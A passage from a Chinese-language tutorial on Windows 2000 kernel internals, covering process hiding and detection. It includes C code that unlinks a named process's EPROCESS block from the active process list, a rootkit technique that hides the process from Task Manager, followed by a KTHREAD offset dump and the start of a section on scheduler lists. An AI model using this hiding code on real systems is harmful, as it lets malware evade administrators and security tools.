6. 删除活动进程链表实现进程隐藏
由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。
void DelProcessList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
if ( !_stricmp(name,"winlogon.exe") )
{
DbgPrint("remove %s \n",name);
RemoveEntryList(List);
}
List=List->Blink;
}
}
首先和上面的程序一样得到PsActiveProcessHead 头的后面第一个EPROCESS块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把EPROCESS块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的EPROCESS块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。
基于线程调度链表的检测和隐藏技术
1. 什么是ETHREAD和KTHREAD块
Windows2000是由执行程序线程(ETHREAD)块表示的,ETHREAD成员都是指向的系统空间,进程环境块(TEB)除外。ETHREAD块中的第一个结构体就是内核线程(KTHREAD)块。在KTHREAD块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。
kd> !kthread
struct _KTHREAD (sizeof=432)
+000 struct _DISPATCHER_HEADER Header
+010 struct _LIST_ENTRY MutantListHead
+018 void *InitialStack
+01c void *StackLimit
+020 void *Teb
+024 void *TlsArray
+028 void *KernelStack
+02c byte DebugActive
+02d byte State
+02e byte Alerted[2]
+030 byte Iopl
+031 byte NpxState
+032 char Saturation
+033 char Priority
+034 struct _KAPC_STATE ApcState
+034 struct _LIST_ENTRY ApcListHead[2]
+044 struct _KPROCESS *Process
+04c uint32 ContextSwitches
+050 int32 WaitStatus
+054 byte WaitIrql
+055 char WaitMode
+056 byte WaitNext
+057 byte WaitReason
+058 struct _KWAIT_BLOCK *WaitBlockList
+05c struct _LIST_ENTRY WaitListEntry
+064 uint32 WaitTime
+068 char BasePriority
+069 byte DecrementCount
+06a char PriorityDecrement
+06b char Quantum
+06c struct _KWAIT_BLOCK WaitBlock[4]
+0cc void *LegoData
+0d0 uint32 KernelApcDisable
+0d4 uint32 UserAffinity
+0d8 byte SystemAffinityActive
+0d9 byte PowerState
+0da byte NpxIrql
+0db byte Pad[1]
+0dc void *ServiceTable
+0e0 struct _KQUEUE *Queue
+0e4 uint32 ApcQueueLock
+0e8 struct _KTIMER Timer
+110 struct _LIST_ENTRY QueueListEntry
+118 uint32 Affinity
+11c byte Preempted
+11d byte ProcessReadyQueue
+11e byte KernelStackResident
+11f byte NextProcessor
+120 void *CallbackStack
+124 void *Win32Thread
+128 struct _KTRAP_FRAME *TrapFrame
+12c struct _KAPC_STATE *ApcStatePointer[2]
+134 char PreviousMode
+135 byte EnableStackSwap
+136 byte LargeStack
+137 byte ResourceIndex
+138 uint32 KernelTime
+13c uint32 UserTime
+140 struct _KAPC_STATE SavedApcState
+158 byte Alertable
+159 byte ApcStateIndex
+15a byte ApcQueueable
+15b byte AutoAlignment
+15c void *StackBase
+160 struct _KAPC SuspendApc
+190 struct _KSEMAPHORE SuspendSemaphore
+1a4 struct _LIST_ENTRY ThreadListEntry
+1ac char FreezeCount
+1ad char SuspendCount
+1ae byte IdealProcessor
+1af byte DisableBoost
在偏移0x5c处有一个WaitListEntry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个ApcState成员结构,在ApcState中的Process域就是指向当前线程关联的进程的KPROCESS块,由于KPROCESS块是EPROCESS块的第一个元素,所以找到了KPROCESS块指针也就是找到了EPROCESS块的指针。找到了EPROCESS就不用多少了,就可以取得当前线程的进程的名字,ID号等。
2. 线程调度
在windows系统中,线程调度主要分成三条主要的调度链表。分别是KiWaitInListHead, KiWaitOutListhead,KiDispatcherReadyListHead,分别是两条阻塞链,一条就绪链表,当线程获得CPU执行的时候,系统分配一, , 个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间